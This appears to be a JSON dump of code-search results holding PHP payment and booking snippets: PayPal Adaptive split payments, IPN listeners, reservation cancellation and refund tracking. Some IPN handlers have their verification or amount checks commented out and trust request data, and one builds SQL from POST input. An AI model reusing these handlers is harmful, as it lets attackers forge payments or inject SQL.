{\n\t\t\t/**\n\t\t\t * Calculating receiver data\n\t\t\t*/\n\t\t\t$receiverData = Mage::helper('paypaladaptive')->getBookorrentHostData();\n\n\t\t} else {\n \t\t// Calculating receiver data\n \t\t$receiverData = Mage::helper('paypaladaptive')->getSellerData();\n \t}\n \t\n \t// If Checking whether receiver count greater than 5 or not\n \t$receiverCount = count($receiverData);\n \tif ($receiverCount > 9) {\n \t\tMage::getSingleton('checkout/session')->addError(Mage::helper('paypaladaptive')->__(\"You have ordered more than 9 partner products\"));\n \t\t$this->_redirect('checkout/cart');\n \t\treturn;\n \t}\n\n \t\n \t// Geting checkout grand total amount\n \t$grandTotal = round(Mage::helper('paypaladaptive')->getGrandTotal(), 2);\n \t\n \t// Getting receiver amount total\n \t$amountTotal = $this->getAmountTotal($receiverData);\n \t\n \t$sellerTotal = round($amountTotal, 2);\n \t\n \tif ($grandTotal >= $sellerTotal) {\n \t\n \t\t// Initilize receiver data\n \t\t$receiverAmountArray = $receiverEmailArray = $receiverPrimaryArray = $receiverInvoiceIdArray = array();\n \t\n \t\t// Getting invoice id\n \t\t$invoiceId = Mage::getSingleton('checkout/session')->getLastRealOrderId();\n \t\t$paypalInvoiceId = $invoiceId . $trackingId;\n \t\n \t\t// Preparing receiver data\n \t\tforeach ($receiverData as $data) {\n \t\t\t/**\n \t\t\t * Getting receiver paypal id\n \t\t\t */\n \t\t\t$receiverPaypalTotal \t\t= $data['grand_total'];\n \t\t\t$receiverPaypalId \t\t\t= $data['seller_id'];\n \t\t\t$receiverAmountArray[] \t\t= round($data['amount'], 2);\n \t\t\t$receiverEmailArray[] \t\t= $receiverPaypalId;\n \t\t\t$receiverPrimaryArray[] \t= 'false';\n \t\t\t$receiverInvoiceIdArray[] \t= $paypalInvoiceId;\n \t\t\t// Setting Amount to Session.\n \t\t\tMage::getSingleton('core/session')->setGrandTotal(round($data['grand_total'], 2));\n \t\t}\n \t\n \t\t \n \t\t$receiverEmailArray[] = Mage::helper('paypaladaptive')->getAdminPaypalId();\n \t\t$receiverInvoiceIdArray[] = $paypalInvoiceId;\n \t\n \t\t$paymentMethod =Mage::helper('paypaladaptive')->getPaymentMethod();\n \t\n \t\t// If no seller product available for checkout. Setting receiverPrimaryArray empty\n \t\tif ($receiverCount < 1) {\n \t\t\t$receiverPrimaryArray = array();\n \t\t\t// Assigning store owner paypal id & amount\n \t\t\t$receiverAmountArray[] = round($grandTotal, 2);\n \t\t}elseif($paymentMethod == 'parallel'){\n \t\t\t$receiverPrimaryArray[] = 'false';\n \t\t\t// Assigning store owner paypal id & amount\n \t\t\t$receiverAmountArray[] = round($grandTotal - $sellerTotal, 2);\n \t\t}else{\n \t\t\t$receiverPrimaryArray[] = 'true';\n \t\t\t// Assigning store owner paypal id & amount\n \t\t\t$receiverAmountArray[] = round($grandTotal, 2);\n \t\t}\n \t\t \n \t} else {\n \t\n \t\tMage::getSingleton('checkout/session')->addError(Mage::helper('paypaladaptive')->__(\"Please contact admin partner amount is greater than total amount\"));\n \t\t$this->_redirect('checkout/cart');\n \t\treturn;\n \t}\n \t \n \t\n\n \t\n $resArray = Mage::getModel('paypaladaptive/apicall')->CallPay($actionType, $cancelUrl, $returnUrl, $currencyCode, $receiverEmailArray, $receiverAmountArray, $receiverPrimaryArray, $receiverInvoiceIdArray, $feesPayer, $ipnNotificationUrl, $memo, $pin, $preapprovalKey, $reverseAllParallelPaymentsOnError, $senderEmail, $trackingId);\n \t\n\n $ack = strtoupper($resArray[\"responseEnvelope.ack\"]);\n \t\n \tif ($ack == \"SUCCESS\") {\n \t\t$cmd = \"cmd=_ap-payment&paykey=\" . urldecode($resArray[\"payKey\"]);\n \t\n \t\t// Assigning session valur for paykey , tracking id and order id\n \t\t$session = Mage::getSingleton('checkout/session');\n \t\t$session->setPaypalAdaptiveTrackingId($trackingId);\n \t\t$session->setPaypalAdaptivePayKey(urldecode($resArray[\"payKey\"]));\n \t\t$session->setPaypalAdaptiveRealOrderId($invoiceId);\n \t\n \t\t// Storing seller payment details to paypaladaptivedetails table\n \t\tforeach ($receiverData as $data) {\n \t\n \t\t\t// Initilizing payment data for save\n \t\t\t$dataSellerId = $data['seller_id'];\n \t\t\t$dataAmount = round($data['amount'], 2);\n \t\t\t$dataCommissionFee = round($data['commission_fee'], 2);\n \t\t\t$dataCurrencyCode = $currencyCode;\n \t\t\t$dataPayKey = $resArray[\"payKey\"];\n \t\t\t$dataGroupType = 'seller';\n \t\t\t$dataTrackingId = $trackingId;\n \t\n \t\t\t// Calling save function for storing seller payment data\n \t\t\tMage::getModel('paypaladaptive/save')->saveOrderData($orderId, $invoiceId, $dataSellerId, $dataAmount, $dataCommissionFee, $dataCurrencyCode, $dataPayKey, $dataGroupType, $dataTrackingId, $grandTotal);\n \t\t}\n \t\n \t\n \t\t// Initilizing payment data for save\n \t\t$dataSellerId = Mage::helper('paypaladaptive')->getAdminPaypalId();\n \t\t$dataCommissionFee = 0;\n \t\t$dataCurrencyCode = $currencyCode;\n \t\t$dataPayKey = $resArray[\"payKey\"];\n \t\t$dataGroupType = 'admin';\n \t\t$dataTrackingId = $trackingId;\n \t\t$dataAmount = $grandTotal - $sellerTotal;\n \t\n \t\t// Calling save function for storing owner payment data\n \t\tMage::getModel('paypaladaptive/save')->saveOrderData($orderId, $invoiceId, $dataSellerId, $dataAmount, $dataCommissionFee, $dataCurrencyCode, $dataPayKey, $dataGroupType, $dataTrackingId, $grandTotal);\n \t\n \t\t// Redirectr to Paypal site\n \t\t$this->RedirectToPayPal($cmd);\n \t\treturn;\n \t} else {\n \t\t$errorMsg = urldecode($resArray[\"error(0).message\"]);\n \t\tMage::getSingleton('checkout/session')->addError(Mage::helper('paypaladaptive')->__(\"Pay API call failed.\"));\n \t\tMage::getSingleton('checkout/session')->addError(Mage::helper('paypaladaptive')->__(\"Error Message:\") . ' ' . $errorMsg);\n \t\t$this->_redirect('checkout/cart');\n \t\treturn;\n \t}\n }", "title": "" }, { "docid": "8c4f480b2057c2900a340fac33d69047", "score": "0.48359048", "text": "public function cancelReservation($method, $user_id, $transaction_id, $cancel_option, $cancel_reason)\n {\n $sqlParameters[\":transaction_id\"] = $transaction_id;\n $sqlParameters[\":user_id\"] = $user_id; \n\n $preparedStatement = $this->dbh->prepare('select *, 1 as LENDER_FLAG from RESERVED_AND_EXCHANGED_AND_LATE_VW where TRANSACTION_ID=:transaction_id and LENDER_ID=:user_id UNION ' . \n 'select *, 0 as LENDER_FLAG from RESERVED_AND_EXCHANGED_AND_LATE_VW where TRANSACTION_ID=:transaction_id and BORROWER_ID=:user_id');\n $preparedStatement->execute($sqlParameters);\n $rows = $preparedStatement->fetchAll(PDO::FETCH_ASSOC); \n \n if ($rows == null)\n throw new CancelRequestException($method, $user_id, null, $transaction_id);\n \n $d = $this->denormalize($rows);\n $transaction = reset($d);\n \n // Check if current time is more than start_date + 24 hrs\n $start_date = new DateTime($transaction[\"REQ\"][\"START_DATE\"]);\n $now = new DateTime();\n $diff = $start_date->diff($now);\n\n if ($diff->d == 0)\n throw new CancelRequestLateException($method, $user_id, null, $transaction_id);\n\n // 300 -> 601\n if ($transaction['LENDER_FLAG'] == 0)\n $this->insertDetail($method, $transaction_id, $this->getEdgeID(300,601,$method, $user_id), array(\"CANCEL_ID\" => $cancel_option, \"REASON\" => $cancel_reason), $user_id); \n // 300 -> 600\n else if ($transaction['LENDER_FLAG'] == 1)\n $this->insertDetail($method, $transaction_id, $this->getEdgeID(300,600,$method, $user_id), array(\"CANCEL_ID\" => $cancel_option, \"REASON\" => $cancel_reason), $user_id); \n else\n throw new CancelRequestException($method, $user_id, null, $transaction_id);\n \n \n global $do_not_reply_email; \n\n // Send email to lender\n $message = \"Hi {$transaction[\"LENDER_FIRST_NAME\"]} and {$transaction[\"BORROWER_FIRST_NAME\"]},<br/><br/>\";\n $message .= \"The reservation for item {$transaction[\"TITLE\"]} has been cancelled by \" . ($transaction['LENDER_FLAG'] == 0 ? $transaction[\"BORROWER_FIRST_NAME\"] : $transaction[\"LENDER_FIRST_NAME\"]) . \". Please do not proceed to meet and exchange the item.\";\n $subject = \"{$transaction[\"TITLE\"]} - CANCELLED - Item reservation has been cancelled - Transaction ID: {$transaction[\"TRANSACTION_ID\"]}\";\n sendEmail($do_not_reply_email, $transaction[\"LENDER_EMAIL_ADDRESS\"] . ',' . $transaction[\"BORROWER_EMAIL_ADDRESS\"], $transaction[\"LENDER_EMAIL_ADDRESS\"] . ',' . $transaction[\"BORROWER_EMAIL_ADDRESS\"], $subject, $message); \n \n return $transaction['LENDER_FLAG'];\n }", "title": "" }, { "docid": "fb433e89cae65062b0b2d5dc1ee8983a", "score": "0.48302335", "text": "public function refundPayment(array $items, OrderTransfer $orderTransfer): void;", "title": "" }, { "docid": "d29f5405044bf3bdacafe108b808d1f9", "score": "0.4829483", "text": "private function TransactionStartHandle(){\n if ($this->arOrder[\"ID\"] > 0) {\n if ($this->arOrder[\"PAYED\"] == 'Y') {\n $this->SetResponse(\"ORDER_ALREADY_PAID\");\n } else {\n if ($this->arOrder[\"DATE_LOCK\"]) {\n //проиходит оплата заказа\n $this->SetResponse(\"ORDER_PAYABLE\");\n } else {\n // если предыдущие проверки прошли, обновляем базу и блокируем заказ, ставим `blocked` = 1\n if($this->LockOrder()){\n $this->SetResponse(\"ORDER_CONFIRMATION\");\n } else {\n $this->SetResponse(\"ORDER_BLOCKING_ERROR\");\n }\n }\n }\n } else {\n $this->SetResponse(\"ORDER_OUTSET\");\n }\n }", "title": "" }, { "docid": "ddb3c0b26da265b72d317077c11c0770", "score": "0.482758", "text": "function sendExpirationNotice($contact_id, $is_expired = FALSE)\n {\n }", "title": "" }, { "docid": "5b9a3a9ce07efa463211b700f85ceafb", "score": "0.4827209", "text": "public function paypal_control() {\n\t\t\t$this->sponsors_control( 'paypal' );\n\t\t}", "title": "" }, { "docid": "e635d407761e73a11b97c0f1d3c9c55f", "score": "0.48207685", "text": "function ipn(){\n $paypalInfo = $this->input->post();\n\n $data['user_id'] = $paypalInfo['custom'];\n $data['product_id'] = $paypalInfo[\"item_number\"];\n $data['txn_id'] = $paypalInfo[\"txn_id\"];\n $data['payment_gross'] = $paypalInfo[\"payment_gross\"];\n $data['currency_code'] = $paypalInfo[\"mc_currency\"];\n $data['payer_email'] = $paypalInfo[\"payer_email\"];\n $data['payment_status'] = $paypalInfo[\"payment_status\"];\n\n $paypalURL = $this->paypal_lib->paypal_url; \n $result = $this->paypal_lib->curlPost($paypalURL,$paypalInfo);\n \n //check whether the payment is verified\n if(eregi(\"VERIFIED\",$result)){\n //insert the transaction data into the database\n $this->load->model('wallet_model' , 'wallet');\n $this->wallet->insertTransaction($data);\n \n //add coins\n $user = $this->db->get_where('user', array('id' => $data['user_id']))->result_array();\n $coins = $user[0]['coins'];\n //$new_coins = ($data['payment_gross']) * coinsCurrencyRatio;\n $new_coins = round(($data['payment_gross'] * 0.91),2);\n $sql = \"UPDATE user SET coins = '\".($coins+$new_coins).\"' WHERE id = '\".$data['user_id'].\"'\";\n $this->db->query($sql);\n }\n }", "title": "" }, { "docid": "4c95d1d18eceb0c0ed42974eb64ebd8c", "score": "0.48171395", "text": "static function send_cancellation_confirmation($order){\n\t\tbasket_plus::send_order_update($order,ORDER_CANCELLED_EMAIL_SUBJECT,ORDER_CANCELLED_EMAIL);\n }", "title": "" }, { "docid": "274927e4c317de5e3ead4e51ff10e9fd", "score": "0.48046687", "text": "protected function cancelCurrentUserInvitations(Member $user)\n\t{\n\t\tInvitation::updateAll(\n\t\t\tarray(\n\t\t\t\t'status_id' => Invitation::STATUS_EXPIRED\n\t\t\t),\n\t\t\t'status_id = :status_id AND (sender_id = :user_id OR receiver_id = :user_id)',\n\t\t\tarray(\n\t\t\t\t'status_id' => Invitation::STATUS_PENDING,\n\t\t\t\t'user_id' => $user->id,\n\t\t\t)\n\t\t);\n\t\treturn true;\n\t}", "title": "" }, { "docid": "6bd20bcf9e7f90251e7197c5e81207f0", "score": "0.4801664", "text": "public function refundOnline()\n {\n $storeName = $this->config->getMerchantNameOverride();\n\n $eventData = array(\n \"store_name\" => $storeName,\n \"refund_online\" => true\n );\n\n $this->_logger->info(\"Event : Refund Online Clicked. In function \" . __METHOD__);\n\n $response['segment'] = $this->trackPluginInstrumentation->rzpTrackSegment('Refund Online Clicked', $eventData);\n\n $response['datalake'] = $this->trackPluginInstrumentation->rzpTrackDataLake('Refund Online Clicked', $eventData);\n\n $this->_logger->info(json_encode($response));\n }", "title": "" }, { "docid": "68ffcba992c36e3c48478d17977b8979", "score": "0.47983003", "text": "function Set_Unpaid_Left(){\n global $database;\n \t$query = \"SELECT `id`\n \t\t\t FROM `verhuur_reservering`\n \t\t\t WHERE (`status_id`=3 OR `status_id`=2)\n \t\t\t AND TIMEDIFF(`einddatum`,NOW()) < 0\";\n \t$result = $database->query($query);\n\n \t$ids = '(-1';\n \twhile($rw = mysql_fetch_assoc($result)){\n \t\t$ids .= ','.$rw['id'];\n \t\tlogEvent($rw['id'],'ONBETAALD VERLOPEN','none','system');\n \t}\n \t$ids .= ')';\n\n \t$query =\n \t\t\"UPDATE `verhuur_reservering`\n \t\t SET `status_id`=12\n \t\t WHERE `id` IN \".$ids;\n \t$result = $database->query($query);\n }", "title": "" }, { "docid": "4b34580c66f7009a1ce5a33f1d611c65", "score": "0.4797478", "text": "public function ipnPaypal(Request $request)\n {\n $data = $request->all();\n\n if($data['payment_status'] == \"Completed\")\n {\n $order_id = Session::get('order_id');\n\n Order::where('id', $order_id)->update(['order_status' => 'Payment Captured']);\n\n $productDetails = Order::with('orders')->where('id', $order_id)->first();\n $user_id = $productDetails['user_id'];\n $user_name = $productDetails['name'];\n $user_email = $productDetails['user_email'];\n $userDetails = User::where('id', $user_id)->first();\n\n // Email upon Successful Order\n\n /*\n $email = $user_email;\n $messageData = [\n 'email' => $user_email,\n 'name' => $user_name,\n 'order_id' => $order_id,\n 'productDetails' => $productDetails,\n 'userDetails' => $userDetails\n ];\n Mail::send('emails.order', $messageData, function ($message) use($email) {\n $message->to($email)->subject('Order Placed & Paid Successfully');\n });\n */\n\n DB::table('cart')->where('user_email', $user_email)->delete();\n }\n }", "title": "" }, { "docid": "e34a15e4071288337907f405246f6992", "score": "0.47968987", "text": "public function reject (Request $request){\n $remaining = $request->user()->payments()->first()->remaining;\n // dd($remaining);\n if($remaining >=500 ){\n return responseJson(0,'Failed , u can\\'t reject any orders until the remainng commissions are paid ' ,$remaining );\n }\n $order = $request->user()->orders()->find($request->order_id);\n \n if( !$order ){\n return responseJson(0,'this order doesn\\'t exist') ;\n }\n\n $order->update([\n 'status'=>'rejected',\n ]);\n\n //finding the client that we will send him a notification \n $client =Client::find($order->client->id);\n \n $notification = $client->notifications()->create([\n 'title' => 'Client : Rejected Order ',\n 'body' => ' Sorry ' .$order->client->name.' your order has been reject by ' .$request->user()->name ,\n 'order_id'=>$order->id,\n ]);\n $body =$notification->body ;\n $title =$notification->title ;\n $tokens= $client->tokens()->where('token','!=','')->pluck('token')->toArray();\n $data = [\n 'title' => ' New mexiko ',\n 'body' => ' body '.$request->user()->name,\n 'order_id' =>$order->id ,\n ];\n $send = notifyByFirebase($title,$body,$tokens,$data);\n \n return responseJson (1,' Success, Reject Order ',[\n 'Order status' => 'Rejected',\n 'Notification status' => 'Client',\n 'ORDER'=>$order \n ]); \n }", "title": "" }, { "docid": "fb42c455fabddf81128125f710000bd0", "score": "0.4795543", "text": "public function testDeclineInvite()\n {\n }", "title": "" }, { "docid": "02ecc2dd273e023da553ac8469ada4bd", "score": "0.4781933", "text": "function disable_activate_licence_notice() {\n\n\t\t\tcheck_ajax_referer( 'cartflows-admin-notice-nonce', 'security' );\n\n\t\t\t// Saving the `true` for 10 minutes into transient `my_transient`.\n\t\t\tset_transient( 'cartflows-activate-licence', true, 10 * MINUTE_IN_SECONDS );\n\n\t\t\twp_send_json_success();\n\t\t}", "title": "" }, { "docid": "98fedc505cbadb4ff52644b7d875843e", "score": "0.47814727", "text": "public function sendRejectionNotification()\n\t{\n\t\t$user = User::find($this->borrower_id);\n\n\t\t$user->notify(new RentalRequestRejected($user, $this->item));\n\t}", "title": "" }, { "docid": "d856f351780aaa25725aa769b95c9934", "score": "0.47811916", "text": "protected function payment_status_pending( $order, $request ) {\r\n\t\t\t$this->payment_status_completed( $order, $request );\r\n\t\t}", "title": "" }, { "docid": "318fe4dbf7d674dc7f52b71b837f511d", "score": "0.47810882", "text": "function bank_paypal_recoit_notification(){\n\t$valeurs = array();\n\n\tforeach ($_POST as $key => $value)\n\t\t$valeurs[$key] = $value;\n\tspip_log('Paypal IPN'.var_export($valeurs,true),'paypal');\n\n\tif (!isset($valeurs['receiver_email']) OR ($valeurs['receiver_email']!=_PAYPAL_BUSINESS_USERNAME)){\n\t\tspip_log(\"receiver_email errone : POST :\".var_export($valeurs,true),'paypal_invalid_IPN');\n\t\treturn array(0,false);\n\t}\n\tif (!isset($valeurs['invoice'])){\n\t\tspip_log(\"pas de invoice specifie : POST :\".var_export($valeurs,true),'paypal_invalid_IPN');\n\t\treturn array(0,false);\n\t}\n\n\tlist($id_transaction,$transaction_hash) = explode('|',$valeurs['invoice']);\n\tif (!$row = sql_fetsel(\"*\",\"spip_commandes_transactions\",\n\t\t\t\t\t\"id_transaction=\".intval($id_transaction)\n\t\t\t\t\t.\" AND transaction_hash=\".sql_quote($transaction_hash))){\n\n\t\tspip_log(\"id_transaction invalide : $id_transaction/hash$transaction_hash : POST :\".var_export($value,true),'paypal_invalid_IPN');\n\t\treturn array(0,false);\n\t}\n\n\tif ($row['reglee']=='oui')\n\t\treturn array($id_transaction,true); // cette transaction a deja ete reglee. double entree, on ne fait rien\n\n\t// verifier que le status est bien ok\n\tif (!isset($valeurs['payment_status']) OR ($valeurs['payment_status']!='Completed')){\n\t\tspip_log(\"Transaction $id_transaction:payment_status!=completed : POST :\".var_export($valeurs,true),'paypal_invalid_IPN');\n\t\t$message=\"Votre r&egrave;glement n'a pu &ecirc;tre r&eacute;alis&eacute; par Paypal\";\n\t\treturn paypal_echec_transaction($id_transaction,$message); // erreur sur la transaction\n\t}\n\n\t// verifier que le numero de transaction au sens paypal\n\t// (=numero d'autorisation ici) est bien fourni\n\tif (!isset($valeurs['txn_id']) OR (!$valeurs['txn_id'])){\n\t\tspip_log(\"Transaction $id_transaction:pas de txn_id : POST :\".var_export($valeurs,true),'paypal_invalid_IPN');\n\t\t$message=\"Nous n'avons re&ccedil;u aucune autorisation de Paypal concernant votre r&egrave;glement\";\n\t\treturn paypal_echec_transaction($id_transaction,$message); // erreur sur la transaction\n\t}\n\n\t// verifier que le numero de transaction au sens paypal\n\t// (=numero d'autorisation ici) n'a pas deja ete utilise\n\t$autorisation_id = $valeurs['txn_id'];\n\tif ($id = sql_getfetsel(\"id_transaction\",\"spip_commandes_transactions\",\"autorisation_id=\".sql_quote($autorisation_id).\" AND mode='paypal'\")){\n\t\t// une transaction existe deja avec ce numero d'autorisation\n\t\tspip_log(\"Transaction $id_transaction:txn_id $autorisation_id deja utilise par $id : POST :\".var_export($valeurs,true),'paypal_invalid_IPN');\n\t\t$message=\"Les informations concernant votre transaction $id_transaction sont erron&eacute;es\";\n\t\treturn paypal_echec_transaction($id_transaction,$message); // erreur sur la transaction\n\t}\n\n\t// enregistrer immediatement le present numero d'autorisation pour ne pas risquer des requetes simultanees sur le meme id\n\tsql_updateq(\"spip_commandes_transactions\",array(\"autorisation_id\"=>$autorisation_id,\"mode\"=>'paypal'),\"id_transaction=\".intval($id_transaction));\n\n\t// une monnaie est-elle bien indique (et en EUR) ?\n\tif (!isset($valeurs['mc_currency']) OR ($valeurs['mc_currency']!='EUR')){\n\t\tspip_log(\"Transaction $id_transaction:devise incorrecte : POST :\".var_export($valeurs,true),'paypal_invalid_IPN');\n\t\t$message=\"Les informations concernant votre transaction $id_transaction sont erron&eacute;es\";\n\t\treturn paypal_echec_transaction($id_transaction,$message); // erreur sur la transaction\n\t}\n\n\t// un montant est il bien renvoye ?\n /*\n TODO problème d'arrondis sur les montants HT + TVA. Le total peut varier d'1 centime en plus ou en moins. Dans l'immédiat, on enlève cette vérification. A terme, il faudrait plutôt prendre comme base des prix TTC (au lieu des prix HT) et faire apparaitre les prix HT en différence de la TVA.\n */\n\n if (!isset($valeurs['mc_gross'])){\n\t\tspip_log(\"Transaction $id_transaction:montant incorrect : POST :\".var_export($valeurs,true),'paypal_invalid_IPN');\n\t\t$message=\"Les informations concernant votre transaction $id_transaction sont erron&eacute;es\";\n\t\treturn paypal_echec_transaction($id_transaction,$message); // erreur sur la transaction\n\t}\n\n // le montant existe, on va tolérer une petite marge d'erreur, en raison des arrondis sur les calculs de TVA\n $montant_attendu = $row['montant'];\n $montant_regle = $valeurs['mc_gross'];\n $ecart_pourcentage = abs(($montant_attendu - $montant_regle) * 100 / $montant_attendu);\n if ($ecart_pourcentage > 0.05 ) {\n spip_log(\"Transaction $id_transaction : montant incorrect -- différence importante -- : POST :\".var_export($valeurs,true),'paypal_invalid_IPN');\n $message=\"Les informations concernant votre transaction $id_transaction sont erron&eacute;es\";\n return paypal_echec_transaction($id_transaction,$message);\n }\n\n\t// verifier que la notification vient bien de paypal !\n\tif (!bank_paypal_verifie_notification($valeurs)){\n\t\tspip_log(\"Transaction $id_transaction:reponse IPN!=VERIFIE : POST :\".var_export($valeurs,true),'paypal_invalid_IPN');\n\t\t$message=\"Paypal n'a pu confirmer la validit&eacute; de votre r&egrave;glement concernant la transaction $id_transaction\";\n\t\treturn paypal_echec_transaction($id_transaction,$message); // erreur sur la transaction\n\t}\n\n\tsql_updateq(\"spip_commandes_transactions\",\n\t\tarray(\n\t\t\"autorisation_id\"=>$autorisation_id,\n\t\t\"mode\"=>'paypal',\n\t\t\"montant_regle\"=>$montant_regle,\n\t\t\"date_paiement\"=>'NOW()',\n\t\t\"statut\"=>'ok',\n\t\t\"reglee\"=>'oui'\n\t\t),\n\t\t\"id_transaction=\".intval($id_transaction));\n\tspip_log(\"simple_reponse : id_transaction $id_transaction, reglee\",'paypal');\n\n // mise à jour de la commande\n $id_commande = sql_getfetsel(\"id_commande\",\"spip_commandes_transactions\",\"id_transaction=\".intval($id_transaction));\n sql_updateq(\"spip_commandes\",array(\"paiement\" => \"paypal\", \"statut\" => \"paye\",\"date_paiement\" => 'NOW()'),\"id_commande=\".intval($id_commande));\n\n\t$regler_transaction = charger_fonction('regler_transaction','bank');\n\t$regler_transaction($id_transaction,\"\",$row);\n\treturn array($id_transaction,true);\n}", "title": "" }, { "docid": "fc9a40f6a693dc6518c89c0eaf12c61b", "score": "0.47761092", "text": "function em_gateway_paypal_chained_booking_timeout(){\n\tglobal $wpdb;\n\t//Get a time from when to delete\n\t$minutes_to_subtract = absint(get_option('em_paypal_booking_timeout'));\n\tif( $minutes_to_subtract > 0 ){\n\t\t//get booking IDs without pending transactions\n\t\t$cut_off_time = date('Y-m-d H:i:s', current_time('timestamp') - ($minutes_to_subtract * 60));\n\t\t$booking_ids = $wpdb->get_col('SELECT b.booking_id FROM '.EM_BOOKINGS_TABLE.' b LEFT JOIN '.EM_TRANSACTIONS_TABLE.\" t ON t.booking_id=b.booking_id WHERE booking_date < '{$cut_off_time}' AND booking_status=4 AND transaction_id IS NULL\" );\n\t\tif( count($booking_ids) > 0 ){\n\t\t\t//first delete ticket_bookings with expired bookings\n\t\t\t$sql = \"DELETE FROM \".EM_TICKETS_BOOKINGS_TABLE.\" WHERE booking_id IN (\".implode(',',$booking_ids).\");\";\n\t\t\t$wpdb->query($sql);\n\t\t\t//then delete the bookings themselves\n\t\t\t$sql = \"DELETE FROM \".EM_BOOKINGS_TABLE.\" WHERE booking_id IN (\".implode(',',$booking_ids).\");\";\n\t\t\t$wpdb->query($sql);\n\t\t}\n\t}\n}", "title": "" }, { "docid": "5b03aa55ba40e14e237a1ea23b234410", "score": "0.4774924", "text": "public function blockIp(Request $request, $ip)\n {\n if (Auth::user()->id == 1) {\n $check = Ipban::blockIp($ip);\n if ($check) {\n Session::flash('Success', 'IP blocked successfully!');\n }else{\n Session::flash('Error', 'IP didn\\'t get blocked please try again later!');\n }\n }\n return redirect()->back();\n }", "title": "" }, { "docid": "9ffba436e980d5592ac4f4d5f31cc2a0", "score": "0.4767484", "text": "function paypal_handler_callback($order_guid){\n\t\n\t$order = get_entity($order_guid);\n\t/*\n\t\n\t$reciever_address = get_input('receiver_email');\n\t\tif($reciever_address != elgg_get_plugin_setting('paypal_business', 'pay')){\n\t\t\treturn false;\n\t\t}\n\t\n\t$amount = get_input('mc_gross');\n\t\tif($amount != $order->amount){\n\t\t\treturn false;\n\t\t}\n\t\t\n\t$txn_id = get_input('txn_id');\n\t\tif($txn_id == $order->txn_id){\n\t\t\treturn false;\n\t\t}\n\t\t*/\n\t\t\n\t$payment_status = $_REQUEST['payment_status'];\n\t//We can now assume that the response is legit so we can update the payment status\n\tpay_update_order_status($order_guid, $payment_status);\n\t\n\treturn true;\t\n}", "title": "" }, { "docid": "cd27ab9f6547ec26b051efdaf4b342aa", "score": "0.47664556", "text": "public function testReactivateCurrentContract()\n {\n\n }", "title": "" }, { "docid": "c03d1501f76b9588c62d97fab861c7c9", "score": "0.4765522", "text": "public function handlePaymentNotification() {\n }", "title": "" }, { "docid": "1dc2dd771546235ea8296ce712cc3c67", "score": "0.47652763", "text": "public function payment()\n {\n try {\n \\DB::beginTransaction();\n\n $listener = new Listener;\n $verifier = new SocketVerifier;\n // $ipn = \\Input::all();\n\n $ipnMessage = Message::createFromGlobals(); // uses php://input \n\n $verifier->setIpnMessage($ipnMessage);\n $verifier->setEnvironment(\\Config::get('app.paypal_mode'));\n\n $listener->setVerifier($verifier);\n\n $listener->onVerifiedIpn(function() use ($listener) {\n $ipn = [];\n\n $messages = $listener->getVerifier()->getIpnMessage();\n\n parse_str($messages, $ipn);\n\n if ($order = EloquentOrderRepository::find(\\Input::get('custom'))) {\n\n /**\n * Check the paypal payment.\n *\n * Total sales == ipn['mc_gross']\n *\n * Driver Paypal Account == ipn['business]\n */\n if ($ipn['payment_status'] == 'Completed' &&\n $order->total_sales == $ipn['payment_gross'] &&\n $order->OrderDriver()->paypal_account == $ipn['business']\n ) {\n \\Event::fire('paxifi.paypal.payment.' . $ipn['txn_type'], [$order->payment, $ipn]);\n\n $products = $order->products;\n\n $products->map(function ($product) {\n // Fires an event to update the inventory.\n \\Event::fire('paxifi.product.ordered', array($product, $product['pivot']['quantity']));\n\n // Fires an event to notification the driver that the product is in low inventory.\n if (EloquentProductRepository::find($product->id)->inventory <= 5) {\n \\Event::fire('paxifi.notifications.stock', array($product));\n }\n });\n }\n\n \\DB::commit();\n }\n });\n\n $listener->listen(function() use ($listener) {\n\n $resp = $listener->getVerifier()->getVerificationResponse();\n\n }, function() use($listener) {\n\n // on invalid IPN (somethings not right!)\n $report = $listener->getReport();\n $resp = $listener->getVerifier()->getVerificationResponse();\n \\Log::useFiles(storage_path().'/logs/'. 'error-'. time(). '.txt');\n \\Log::info($report);\n\n return $this->setStatusCode(400)->respondWithError('Payment failed.');\n });\n } catch (\\RuntimeException $e) {\n return $this->setStatusCode(400)->respondWithError($e->getMessage());\n } catch (\\Exception $e) {\n print_r($e->getMessage());\n return $this->errorInternalError();\n }\n }", "title": "" }, { "docid": "167d16abb6089336b0cc94100bc47cc6", "score": "0.47645465", "text": "function payAfterMSP($transaction_id = null, $orderID, $zipcode = '', $shZipcode = '', $shCountry = '')\n{\n //autoload\n require_once(\"/data/www/i12cover.nl/public_html/home/inc/msp/API/Autoloader.php\");\n //load config\n require_once(\"/data/www/i12cover.nl/public_html/home/inc/msp/API/config/config.php\");\n\n $msp = new \\MultiSafepayAPI\\Client;\n\n $msp->setApiKey(API_KEY);\n $msp->setApiUrl(API_URL);\n\n $endpoint = 'orders/' . $transaction_id;\n\n $track = mysql_query(\"select `id`,`order`,`barcode` from 123_selektvracht WHERE `order`=\" . $orderID . \" order by id DESC limit 1;\");\n $track = mysql_fetch_assoc($track);\n if ($track) {\n $tracktrace_code = $track['barcode'];\n if ($shZipcode != '' && $shCountry != '') {\n $zipcode = $shZipcode;\n } else {\n $zipcode = $zipcode;\n }\n $url = \"https://www.dhlparcel.nl/nl/volg-uw-zending?tc=\" . $tracktrace_code . \"&pc=\" . $zipcode . \"&lc=nl-NL\";\n try {\n $order = $msp->orders->patch(\n array(\n \"status\" => 'shipped',\n \"tracktrace_code\" => $tracktrace_code,\n \"carrier\" => 'DHL',\n \"tracktrace_url\" => $url,\n \"ship_date\" => date('Y-m-d H:i:s'),\n \"reason\" => 'Shipped'\n ),\n $endpoint\n );\n } catch (Exception $e) {\n echo \"Error \" . htmlspecialchars($e->getMessage());\n }\n }\n}", "title": "" }, { "docid": "9409b5ab98402d0f8d6be62235384fd7", "score": "0.47635996", "text": "function ipn(){\n $paypalInfo = $this->input->post();\n\n $data['user_id'] = $paypalInfo['custom'];\n $data['product_id'] = $paypalInfo[\"item_number\"];\n $data['txn_id'] = $paypalInfo[\"txn_id\"];\n $data['payment_gross'] = $paypalInfo[\"mc_gross\"];\n $data['currency_code'] = $paypalInfo[\"mc_currency\"];\n $data['payer_email'] = $paypalInfo[\"payer_email\"];\n $data['payment_status'] = $paypalInfo[\"payment_status\"];\n\n $paypalURL = $this->paypal_lib->paypal_url;\n $result = $this->paypal_lib->curlPost($paypalURL,$paypalInfo);\n \n // Check whether the payment is verified\n // if(preg_match(\"/VERIFIED/\",$result)){\n // Insert the transaction data into the database\n $this->product_model->insertTransaction($data);\n // }\n if($paypalInfo[\"payment_status\"] == 'Completed'){\n $token = 'EBK'.rand().time();\n $password_hash_token = password_hash($token,PASSWORD_DEFAULT);\n $download_token = 